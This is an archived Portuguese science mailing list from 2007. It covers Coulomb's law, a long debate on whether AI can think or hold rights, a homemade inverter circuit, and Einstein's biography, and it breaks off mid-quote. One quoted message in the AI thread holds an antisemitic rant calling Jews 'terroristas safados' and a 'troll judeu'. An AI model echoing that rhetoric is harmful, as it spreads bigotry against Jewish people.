que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq's não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).

Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está "cabaço", como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.

Sds,

Victor.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 21:39

Caro Sílvio,



É. O cachorrinho encontrou uma cadela e se foi,

cantando um uivo apaixonado, e abanando o rabinho

para nós outros.

Tanta era sua satisfação e o desejo de que acabássemos com

as cachorradas tão ao gosto dos políticos nossos de cada dia.



Mas é por aí mesmo, conforme você comenta, a respeito da I.A.

Deverei ficar à margem da história com tal ceticismo!

Mas pagarei para ver.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Silvio Cordeiro
Enviada em: sexta-feira, 11 de maio de 2007 15:57
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO



R. C. A. Victor:

(ainda existe o cachorrinho???

Então estamos quites, não foi legal pois gosto de escrever e agora o assunto
amofinou....
A inteligência artifical é um sofisma pois inteligência não pode ser criada:
ela é apenas o produto da interatividade de neurônios.
Assim, vão ter de criar neurônios adrede preparados para que não tenham
"idéias de jerico" e que, só processarão ações de acôrdo com sua
programação.
Se algum dia fizerem os neurônios artificiais e em quantidades semelhantes
aos de um primata, pode saber: vamos ter problemas, caso tenham total
liberdade de, assimilando informações do meio ambiente pelos 5 sentidos
(como nós, humanos), processarem essas informações ao seu talante (o que
produz a inteligência que é artificial pois é fruto do trabalho humano.)

Estamos conversados.

boa tarde,

silvio.

Jovem Sílvio,

Em minhas prosopéias, em nenhum momento, em situação alguma, cogitei ou
cogito de algo como "colocar um deus qualquer no processo cognitivo." Até
em razão de essa entendidade, para mim, claro, ser um folclore, que
resultou do medo da morte e da sabedoria daqueles primeiros que se
intitularam sacerdotes, que viram nisso a ilha do tesouro e os mapas
pertinentes. Discernimento, inteligência, saber que sabe, nada disso tem a
ver com divindades, seres superiores ou inferiores que, sequer, são
superiores ou inferiores. Consciência e vida, eis a questão. Disso,
continuamos, garbosamente, sabendo nada. And so on.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Silvio Cordeiro
Enviada em: quarta-feira, 9 de maio de 2007 18:39
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Meu amigo Vitor:
Se exagerei, perdoe: apenas não concordo, por convidções pessoas e ausência
de elementos consistentes para as possa assimilar, colocar um deus qualquer
no processo cognitivo.

boa noite!!

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br>

Sent: Tuesday, May 08, 2007 6:16 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Sílvio,

Honestamente, não ví onde mistura foi feita. Mas pode desmisturar, na
próxima irei asperizar o caminho,
para não deslizar.
Tudo que você disse está ok. Não importa a capacidade de memória, que um
desses possa ter, para guardar
dados, executando qualquer sequência de comandos, usando estes dados.
Meu ponto está nisto: discernimento! Como tentei exprimir com exemplos. Mais
um exemplo: este que você exercitou, ao ler meu texto, e dele extrair
munição para este seu texto, com uma interpretação absolutamente pessoal.
Um SílvBorg faria algo assim, sequer aproximado? I not cridito. Seria apenas
por causa de
minhas limitações, esse jeito de pensar? Sei não, sei não.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br>

Sent: Monday, May 07, 2007 3:52 PM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Victor:

Sua argumentação apresenta só um deslise: você está misturando um conceito
religioso, inexistente - deus - na diligência humana.

Observe que, desde Tales o homem ocidental se preocupa em observar a
natureza e dela extrair conhecimentos para auxiliá-lo em suas lides.
Neste século, a robótica tem grande expansão, é patéria de curriculo
escolar, em alguns anos alcançará patamares insususpeitáveis, principalmente
com os sofisticados equipamentos existentes, como o CERN na Europa.
Tudo reside em o homem criar um elemento físico ou mesmo orgânico semelhante
aos neurônios que tem dupla função: guardam as informações que o indivíduo
assimina mesmo subjetivamente do meio ambiente, por meio dos sentidos e
posteriormente poder usar esses elementos arquivados em idéias para criação
de outros elementos (deveríamos, filosóficamente chamar simplesmente de
"coisas":).
Está matada a charada. coisa muito simples,,,,
Mas, observe, tais robôs deverão, no início, serem construidos para
atividades específicas como hoje já trabalham na indústria, sem forma
humana: tudo acontece gradativamente, ao longo do tempo de existência dos
humanos. É preciso aguardar e colocar a moçada no estudo.

quem sabe, um dia.....

O grande roblema que vejo será programar um orgasmo...

boa tarde,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br>

Sent: Sunday, May 06, 2007 6:39 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Sílvio.

Sílvio: Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

Victor: Mas é só idéia. Nem mais nem menos que isso.
A implementação de algo assim
não demandaria, sequer, um tempo infinito! Apesar de meu respeito
pela ciência e ter conhecimento dos desenvolvimentos do ramo científico
Inteligência Artificial, não vislumbro coisas a nível do que expressa a
frase
objeto destas poucas e mal traçadas linhas. Vislumbro, sim, como ora já
acontece,
o uso da I.A para controles cada vez mais sofisticados, cada vez mais
sofisticados,
cada vez mais... Mas é só. E olha que não sou espiritualista, que nega tais
coisas pela simples
razão de que, assim, o homem estaria fazendo o mesmo que God. Que disparate,

sô!
Minhas razões disso nada têm.
Já pensou como seria interessantse um fórum, de nome "Ciencyborg", criado
por CyBrudna,
cujos participantes fossem todos robôs? Que discutissem assim, como os
do Ciencialist? Com direito a coisas prá lá de úteis, inteligentes e
interessantes,
seja a nível de contestatações, seja a nível de defesas, ou mesmo a nível
das besteiradas que, vez ou outra
mais vez do que outra, ultimamente, surgem? Tais robôs seriam incapazes
até mesmo de, sem uma programação
específica, discernirem e praticarem asnices. Ou alguém faz a sintaxe
correta, sem um mero pontinho a mais ou a menos
ou nada funciona.
Adoraria presenciar um discussão intelectual de um desses sobre as o
Discurso do Método, Esquesitices do óbvio,
um enfrentamento das idéias do Alberto Mesquita, ou mesmo um embate poético
com um Catulo da Paixão Cearense,
uma "simples" cantoria com um destes cantadores do Nordeste, como o meu pai
ou o Pinto do Monteiro(ambos falecidos), entre outros exemplos. Ah, bota
ele prá discutir com Ferrari, bota! Prá ver se não espirra sangue(digo,
óleo) e fumaça por todo canto!
Só não por alí, que por alí nem teria. Quem já viu Cyborg que se preze com
"por alí", ora!
Olha, as engrenagens do bicho se engriparão nos primeiros minutos.
Pago prá ver, se estou dizendo asnices(que seriam incapazes de dizerem,
"conscientemente"). E, se pagar, complementarei a dívida plantando
"baneira", em praça pública, sem
zorba, com uma vela pingando na direção da linha reta que passa pelo centro
da cabeça.
Tinha muita graça!

Sds,
Victor.

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br
<mailto:scordeiroes%40superig.com.br>
<mailto:scordeiroes%40superig.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Saturday, May 05, 2007 7:33 PM
Subject: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Takata:

Peço seu abalizado parecer nesta questão.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br>
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Putz, constantor, começou dizendo que concorda mas logo
em seguida discorda. A questão é encarar os neurônios
biológicos como processos físicos que manipulam informação.
Sob esse aspecto, neurônios ou transístores, não importa,
são processos físicos processando informação. E pode ser
que você reclame de eu ser um reducionista do caralho,
mas afetividade, intuição e imaginação podem ser reduzidos,
em última instância, à atividade neural. Hoje não sabemos
em detalhes como isso opera, mas sabemos que não parece
haver nada "além de neurônios" no pensamento e sentimento
humanos (e quem estuda neurociência sabe disso desde o
primeiro momento). Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

*PB*

----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br>
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

concordo, caro.

mas isto não retira o caráter de simulação que está envolvido na
inteligência artificial. Sempre será uma máquinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a própria idéia de reduzir à inteligência humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
dinãmica enloquecida empreendida pelos neurônios. Esta dinâmica gera
coisas em nõs, que uma calculadora gigante não reproduz. Como eu
estava falando com o John, a racionalidade humana não e´despida dos
elementos de afetividade, intuição, imaginação, e vários estados de
consciencia que só nós vivenciamos. Máquinhas fazem cálculos somente.

--- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br> , "Pesky Bee" <peskybee2@...>
escreveu
>
> E o cérebro biológico estará meramente fazendo um bando
> de neurônios dispararem loucamente. Basta usarmos um
> nível de análise diferente para máquinas e cérebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo nível (e falarmos em, por exemplo, "estados mentais",
> representação de informação, conceituação, heurística, etc.)
> podemos melhor compará-los. Inteligência artificial só pode
> ser entendida se houver comparação no mesmo nível de
> análise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br <mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br>

> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estará fazendo cálculos matemáticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br> , "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa questão de imitar ou não é mais complexa do que isso.
> > Um robô mecânico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > não estará imitando uma computação que fazemos mentalmente:
> > estará *fazendo* essa computação (com heurística diferente,
> > mas estará). A diferença fundamental é que um furacão pode
> > ser simulado em um computador (e a simulação pode "destelhar"
> > casas virtuais; obviamente ninguém confundiria isso com a
> > realidade), mas um robô que pensa não estará "imitando" nosso
> > pensar: ele estará realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br>
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais naõ imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que não possuem, como o papagaio. Máquinas também
> podem
> > imitar o raciocínio lógico matemático, mas a subjetividade não
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br> , "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Olá
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana é a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferença entre possuir um atributo e imita-lo? Tal
> coisa é
> > possível?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br>
> > [mailto:Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br> ] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
<mailto:Acropolis_%40yahoogrupos.com.br>
<mailto:Acropolis_%40yahoogrupos.com.br>
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que não são pessoas, eles não possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Olá
> > > >
> > > >
> > > >
> > > > E que direitos possuímos enquanto pessoas que não
possuímos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possuímos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos não podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos dá o direito ao voto, por exemplo?
> Se
> > uma
> > > máquina
> > > > tiver esse atributo, ela não poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se não são pessoas, não há porque dar a elas direitos que
> > > possuímos
> > > > enquanto pessoas. Alguma proteção jurídica elas vão ter.
Mas
> aí,
> > > até
> > > > nossos animais domésticos têm.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Olá
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso é certo e me parece indiscutível: máquinas não
> são e
> > > não
> > > > serão
> > > > > pessoas. A questão é por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros não são pessoas e nem por isto
> consideramos
> > > certo
> > > > jogá-los
> > > > > num tanque de ácido. Por que direitos não poderiam ser
> dados a
> > > > máquinas que,
> > > > > vistas de fora, possuam consciência? (ou ajam tal qual,
o
> que
> > dá
> > > > na mesma,
> > > > > já que não podemos dizer que nosso vizinho possui
> consciência
> > > > também)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma máquina for capaz de escolher, por que não puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > É tão óbvia a má fé do Eurico e tão intensa sua solidão
em
> > > relação
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirmações
> > > dos
> > > > outros a
> > > > > fim de poder considerar as máquinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ninguém disse que não há pesquisa, experimentos e
esforços
> > rumo a
> > > > > Inteligência Artificial. O que se está afirmando é que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser construída, não é uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> é tão óbvia a má-fé do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coerência filosófica que

> dó.
> > > > > Uns terroristas safados que não querem permitir o
trabalho
> > > > filosófico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante é tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> ridículo
> > > > indecente.
> > > > > Um dá carteirada de judeu, mas se lembramos esse fato,
fica
> > > > > ofendido, o outro se converteu ao cristianismo pra não
dar
> tão
> > > na
> > > > cara.
> > > > > Querem que sejamos cristãos sem pensamento critico,
> > > > > trabalhadores braçais sem ciência e tecnologia, patriotas
> > > > > sem consciência política, usuários de windows, desunidos
> > > > > e desorientados porque o papai do céu escolheu um povo
> > > > > e prometeu a terra (junto com os não escolhidos) pra
eles.
> > > > >
> > > > > Inteligência Artificial não é ficção científica: vou ter
> essa
> > > > matéria
> > > > > no ano que vem! (a keyword pra quem quer saber mais é
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > É tão óbvia, mas tão óbvia a razão de porque o Homero e
o
> > Eunuco
> > > > são
> > > > > entusiastas da inteligência artificial, que acabamos não
> nos
> > > dando
> > > > conta,
> > > > > ora. É simples: a inteligência artificial é a única
> esperança
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de inteligência. :-)
> > > > >
> > > > >
> > > > >
> > > > > __.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > __________________________________________________
> > > > > Fale com seus amigos de graça com o novo Yahoo!
Messenger
> > > > > http://br.messenger <http://br.messenger
> > > <http://br.messenger.yahoo.com/> .yahoo.com/> .yahoo.com/
> > > > >
> > > > > __________ Informação do NOD32 IMON 2113 (20070313)
> __________
> > > > >
> > > > > Esta mensagem foi verificada pelo NOD32 sistema antivírus
> > > > > http://www.eset. <http://www.eset. <http://www.eset.
> > > <http://www.eset.com.br> com.br>
> > > com.br> com.br
> > > > >
> > > >
> > >
> >
>

----------------------------------------------------------

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Version: 7.5.467 / Virus Database: 269.6.2/784 - Release Date: 1/5/2007
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[As partes desta mensagem que não continham texto foram removidas]

##### ##### #####

Página de apoio
http://www.ciencialist.com

##### ##### ##### #####
Links do Yahoo! Grupos

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[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]

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21:01

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]

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[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Inversor trifásico mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 21:48

Olá a todos.

Vou Carregar na área de arquivos do grupo o esquema de um inversor que
permite alimentar um motor trifásico a partir de uma fonte CC, entre
outras finalidades.

Não se trata de um circuito a nível de engenharia, pois não tenho tal
formação, mas de um conceito básico de lógica digital, que talvez seja
útil numa sala de aula de um curso técnico. Espero que seja de alguma
utilidade para alguém, além de mim é claro.

Para quem entende um pouco de eletrônica, o circuito é auto
explicativo, para quem não entende, o Prof. Léo e outros podem ajudar.

Alerto que nenhum direito de propriedade será cobrado, pois a idéia
foi concebida há décadas e já está no interior dos modernos PICs em
forma de software bastantes versáteis e eficientes, mas a simplicidade
da lógica empregada no circuito em questão me deixa cheio de orgulho
(pobre se contenta com muito pouco, eu sei). A propósito, alguém já
viu solução de hardware semelhante antes, aplicada ao chaveamento de
tensão monofásica para trifásica?

Abraços
Tipoalgo












SUBJECT: Novo arquivo carregado em ciencialist
FROM: ciencialist@yahoogrupos.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 11/05/2007 21:50


Olá,

Esta mensagem é uma notificação para informá-lo que um novo arquivo foi adicionado no grupo ciencialist.

Arquivo : /inversor trifasico1.png
Carregado por : tipoalgo <tipoalgo@gmail.com>
Descrição : Circuito para converter CC em CA trifásica

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/inversor%20trifasico1.png

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

tipoalgo <tipoalgo@gmail.com>






SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/05/2007 23:13

Álvaro:

Sobre o comportamento humano do grande físico, como de qualquer outra pessoa pública, depois de morto, não deveria ser objeto de pesquisas que com muita assiduidade, torcem os fatos para a produção de manchetes e até livros.

A importância de Einstein como professor, como cientista é tão grande que esses detalhes são simples filigranas sensacionalistas.

Meu scanner quebrou se não colocaria aqui a carta que ele mandou para o Pres. Roosevelt comentando os estudos para a primeira bomba A....

Outro alemão que muito ajudou o ocidente, pagando seus pecados anteriores foi o von Braun, o fogueteiro: sem ele, os americanos demoraria mais uns 10 anos para colocar um foguete na Lua....

Com relação à religiosidade, era judeu, existem dezenas de citações atribuidas a ele, contra e a favor das correntes em litígio: não devem ser consideradas limpas, a não ser que estejam inseridas em um trabalho publicado que trata do assunto.
A mídia é insaciável....
E só um detalhe: o conceito de "bom" é bastante amplo: até procurei no dicionário filosófico que encaminhou para o "Bem": duas alentadas páginas....

Obrigado, boa noite....

silvio.


----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 11, 2007 1:47 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Caro Silvio,

Os arquivos de Einstein estão sendo abertos e documentados aos poucos. Como
a vida profissional dele já é conhecida em detalhes há tempos, restam apenas
detalhes sobre a vida pessoal. E, nesse aspecto, nada de "bom" pode ser
acrescentado, sobre ele ou qualquer outra pessoa.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 11, 2007 12:02 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Álvaro:

O fundamental é saber se essas "descobertas biográficas" são consistentes ou
têm veracidade comprovada: Os mitólogos vivem avaros de novidades,
normalmente em detrimento, muito raramente em homenagem aos grandes
personagens de nosso mundo....

boa noite,
silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:45 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Caro Murilo,

Apenas atestei um fato, sem anexar juízo moral algum. Einstein é um dos
heróis da minha adolescência. Ainda assim, o fato de descobertas
biográficas
recentes terem-no tornado mais humano é para mim um alívio, não um pesar.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Cc: <avalanchedrive@hotmail.com>
Sent: Monday, May 07, 2007 10:20 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

> Com certeza, gritava!
> A Elsa, ou um outro qualquer... deviam encher o saco... what's the deal?
O
> homem estava vivo e tinha uma puta energia...
> Com certeza, até o Ghandi gritava... e daí?
> Vc não grita? Ou vc já está meio morto?
> Quem pode enquadrar esse homem, que afinal era judeu?
> O que mais ele tinha? Caspa? Quanta coisa imperdoável, não?
> abr/M.
>
>
>>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>Date: Mon, 7 May 2007 13:31:51 -0300
>>
>>De acordo com Elsa Einstein, quando Albert gritava a casa inteira
ouvia...
>>
>>[ ]s
>>
>>Alvaro Augusto
>>
>>
>>----- Original Message -----
>>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>>To: <ciencialist@yahoogrupos.com.br>
>>Sent: Monday, May 07, 2007 10:12 AM
>>Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus
>>
>>
>>Vitor:
>>
